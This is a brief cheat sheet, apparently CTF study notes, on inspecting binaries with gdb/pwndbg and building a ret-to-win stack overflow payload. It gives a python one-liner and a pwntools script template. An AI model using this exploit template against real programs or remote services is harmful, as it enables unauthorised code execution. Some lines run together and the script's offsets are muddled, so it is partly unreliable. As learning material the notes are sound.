Investigating Binaries
strings {binary}
to see strings in the binaryfile {binary}
checksec {binary}
info functions
info registers
info variables
x/64x ${register}
or x/64x {address}
b *{address}
Ret-to-win
pwndbg {binary}
cyclic 100
run
0x4012ac <main+132> ret <0x6167616161666161>
cyclic -l {offset}
to find the offset before the payloaddisas {desired function}
to find the address of the function start and returnoffset + {desired_function_return} + {desired_function_start}
p64
like so: p64(0x401186)
, which returns it in the necessary formatpython3 -c "import sys, struct; sys.stdout.buffer.write(b'A' * {} + b'\x27\x12\x40\x00\x00\x00\x00\x00' + b'\x86\x11\x40\x00\x00\x00\x00\x00')" | ./binary
from pwn import *
# choose between local binary or remote service
# p = remote("{IP}", {port})
p = process("./{binary}")
payload = b'A' * {ret_offset}
payload += p64({ret_offset})
payload += p64({start_offset})
p.sendline(payload)
p.interactive()